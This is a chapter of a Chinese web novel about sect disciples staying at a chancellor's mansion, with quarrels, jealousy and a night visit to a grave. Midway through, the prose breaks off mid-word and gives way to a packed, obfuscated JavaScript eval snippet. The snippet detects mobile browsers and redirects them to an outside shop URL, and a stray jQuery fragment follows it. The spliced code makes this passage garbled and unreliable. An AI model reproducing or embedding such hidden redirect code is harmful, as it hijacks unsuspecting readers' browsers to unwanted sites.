32. 第30章

作品:《猫有九条命

    谢蕴本来处理完了公务,来找段匆闲聊喝酒,没想到却听到了这样一出。她虽未看见小树林里的景象,但听完他几人的言语后,也大概理清了前因后果。


    周浮生虽十分的不男人,但本来她想,他们毕竟是客,且帮了黎国大忙,自己为难人家也太有些说不过去。可是后来,她实在忍不住了——这人虽然不是个男人,但是也太不是个男人了!!!


    她可不像段匆,日后还要与周浮生此人朝夕相处,不得不处处低头,顾忌他的面子。


    这人都混蛋成这样了,还客气什么?


    “谢蕴你个王八蛋,当初女扮男装时,我就觉得你不安好心了!”周浮生恼羞成怒的大喊大叫,谢蕴折下一根柳枝,对着周浮生大打出手。


    “你他妈的住手!!!”


    “住手啊!!!”


    周浮生大骂着、跌跌撞撞的逃跑了,毕竟这是丞相府,人家的地盘,真打起来他不一定能占得了上风。


    谢蕴却不打算放过他,紧追不舍。


    周浮生崩溃大叫:“别追我了……”


    两人跑远了,段匆和宁芙这边瞬间安静下来,显得有些尴尬。


    “那个……师妹,当初在那对老夫妻家时,给我下毒的人是你吧?”索性都说开了,那就不妨说的更开一些。


    宁芙神色顿时一变。


    段匆一瞧她,就心中有数了:“你真的很喜欢大师兄吧?”所以,那时下毒,是因为嫉妒。


    “可是,大师兄的那种喜欢不是真的喜欢的,那就和过家家一样。”


    宁芙眸色一深,自嘲的一笑。


    段匆顿时意识到自己说错话了——师妹花尽心思的渴求的东西,被自己说成是过家家!她忙补救道:“那个,我们俩之间是过家家,你们俩则当然不是了。”


    “我们,是勾引,对吗?”宁芙淡淡道。


    “当然不是了!”苍天啊!她一片赤子之心,日月可见啊!


    “师姐,你觉得很小的、微不足道的、不值一提的事,在我这里,却并不这样觉得。因为你和我不一样,所以在你看来,我恶毒、小心眼、斤斤计较。”


    段匆挣扎道:“不是啊……”


    “可在我看来,你的坦荡和宽恕高高在上、理所当然,同样令人讨厌。”


    “我没有这个意思啊……”


    宁芙嘲讽的笑道:“他记住了你的黄衣,却从未在意过,我穿了什么,戴了什么。”


    她这么一说,段匆才注意到,宁芙师妹穿的是一袭火红鲜艳的红衣。她其实生的很好,瓜子脸,柳叶眉,弯弯长长的眼睛,是标准的美人脸。一眼望去,十分的惊艳。只是,却不知为何,在许多场所里,她都是被遗忘与忽视的。


    她在想什么,又想说些什么?没人知道。


    段匆挠挠头道:“我们过去的确是有些忽视你了……”


    宁师妹来山上比她迟一年,那时,她好像听闻过宁师妹想念父母,父母却又不要她,于是常常自己躲起来偷偷的哭的事。


    然后呢,好像没了。


    她知道这件事,但也并没有因此而特意关照过宁师妹。因为宁师妹当时实在是太谨小慎微、多思多想了,这样的一个小孩,与她相处是很累的。


    而且她又习惯躲在角落里,所以段匆渐渐的,也就和大家一样,习惯的忘记她了。


    段匆露出和善的微笑:“以前是我们太疏忽你,从今往后我们会改正的。那现在,我们可以重归于好了吗?”


    宁芙悲哀的冷笑一声,转身离开。


    苍天啊!大地啊!段匆有些抓狂。


    谢蕴回来见到这一幕,叹道:“算了,别理她,她自己做了错事,却又好像是别人欠了她。”


    “可是,她这么喜欢大师兄,却被大师兄这样羞辱……实在是有些可怜啊。”


    谢蕴道:“看来普天之下,还是有情的人最可怜。”


    “所以佩之,是打算封情绝爱了?”


    “……”


    “微臣叩见皇上。”


    景琰一身玄色便服,负手走来,淡淡笑道:“不用。此时不是在朝中,不必顾忌什么礼数。”


    段匆打个招呼后,立马溜走。


    今晚可真热闹,连皇上都来了。


    不过当然,皇上是来找谢蕴,不是来找她的。


    段匆又重新来到了后花园。


    还能去哪里呢?景琰找谢蕴说话,可结果却是在她的卧房前!她又不能赶他们走啊!她敢吗!


    只好自己一人,出来游荡了。


    “所以,你不喜欢他?”


    段匆一时呆住,怔怔望向自己肩膀上的灵蝶。它小小的一只,在黑夜中散发着莹莹光华,晶莹剔透的翅膀一扇一扇。段匆往前想了想,不由笑了:“其实,这已经不是百草道人的灵蝶了吧?”


    “这是你的灵蝶。”


    李刻青在那边似乎也笑了。


    “小白,你不生我的气了吧?”段匆小心翼翼,生怕他离开,解释道:“在地下杀妖场那时,我说我们从此再也没有任何纠葛,其实我不是真心的。我……我挺在乎你的,真心拿你当朋友……”她顿了顿,忽然觉得有些口干舌燥,沉默下来。


    “当真吗?”李刻青道。


    “自然当真!”段匆信誓旦旦。


    李刻青笑了,那只灵蝶忽地落在她耳边,他的声音也显得近在咫尺,带着一点点沙哑,一点点妖孽,还有一点点十分勾引人的……诱惑。段匆打个激灵,听到他道:“当真只是朋友吗?”


    段匆一时瞠目结舌,说不出话。


    灵蝶很应景的,在此时,扑地一下消散了。留她一个人在原地,徒生无限遐想。


    下了朝,同僚们三三两两的走出大殿,后面有人叫道:“谢蕴!”


    谢蕴回过头。


    这人眉目英朗,笑容开怀,一身玄色流云铠甲,衬出勃然英姿。


    “……赵大将军?”


    赵不愚笑呵呵:“怎么,一起去解手啊?”


    谢蕴微笑:“滚,可以吗?”


    相视片刻,二人哈哈大笑。


    “这些年过的怎么样?”赵不愚语气中也是无尽感慨。这么多年,他们都变了很多,其中沧桑坎坷,恐怕不是三言两语就可以说的清。


    谢蕴却轻快道:“哈哈,还好吧,还是和从前差不多。”


    赵不愚微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060183|137687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微一笑,也不再多言。谢蕴又打趣他道:“现在可是真正的大将军了,遇到狼可还会害怕?”


    赵不愚大笑。


    二人回忆少时往事,一路说笑着走出宫门。


    背后,景琰静静的注视着那两道身影越来越远、越来越小。


    身旁张公公也不知他是为何事出神,颤巍巍唤道:“皇上?”


    “无事,”景琰一挥袖,淡淡道,“继续走吧。”


    谢蕴回到府里时,正逢上周浮生发疯撒气,他将后花园池塘里的荷花全部都拔了、又将潇潇的一片青竹林劈的七零八落,段匆发现时,偌大的一个后花园已经被糟蹋的不像样,而始作俑者周大师兄一脸死相,死不承认:“不是我干的!你们哪只眼睛看到我砍这些竹子了?别血口喷人啊!”


    段匆他妈的快要吐血了,从头至尾,这个大师兄有做过一件好事吗?!!!


    “谢蕴,那个……这些天多谢招待了,我们可能得走了。”


    再不走,他们天门宗的脸都要丢光了!


    “不要!滚出去!我说了!滚——滚啊!”一个尖刻泼辣的女声十分富有穿透力的传来。


    谢蕴挑眉:“这又是……”


    段匆:“……”


    她有气无力:“是宁芙……她嫌你们府里给她备的胭脂不够好。”


    谢蕴:“咳咳,这也真是……”


    段匆垂头丧气。她是真没想到事情会往这个方向发展,自从她撞见周浮生和宁芙那事,那一晚后,两人好像都发了疯。周浮生觉得自己被宁芙勾引欺骗,又被谢蕴仗势欺人,心中愤愤不平、四处发泄。而宁芙则一改往日温柔无害的形象,化身成了一个动辄破口大骂的悍妇。


    段匆道:“要不就今晚吧,我们收拾收拾,即刻就动身了。”


    谢蕴有些不舍,自从她决定留在这里,她与他们就不是一路人了。一个在庙堂之上,一个在江湖之远,下次再见,还不知是何时何日呢。


    但转念一想,天下之大,又何处不相逢呢?


    谢蕴释然的笑了:“好,你爱吃的那几样糕点,我叫厨房多做一点,你带着路上吃。”


    段匆嘿嘿一笑,谢蕴犹豫一会,最后还是忍不住说道:“还有一件事。”


    段匆了然的眨眨眼。


    自从那晚景琰来找过谢蕴,她就觉得谢蕴有什么心事了。


    府里周浮生和宁芙还在大闹,谢平生急的满头大汗,一会儿跑到这边哀嚎他的宝贝荷花,一会儿又跑到那边亲自过目采购来的上等胭脂。谢蕴觉得他爹这些年清闲惯了,如今多锻炼锻炼也不是什么坏事。干咳一声,十分理直气壮的拉着段匆逃离了丞相府。


    夜色渐深,两人走在偏僻宁静的小路上,四周空无一人,唯有草木簌簌,黑影婆娑。


    段匆一开始有些疑惑,不知谢蕴要带她去哪里。到后来,月色下,她远远的望见一个孤零零的坟包,心念一动:“这是……司徒丞相?”


    谢蕴微笑:“是。”


    司徒月华,罪人之身,青史千古骂名,死后,理该千刀万剐、弃入乱葬岗。


    但到底,他们知道真相,将司徒月华真正的尸体埋在了宁静的郊外。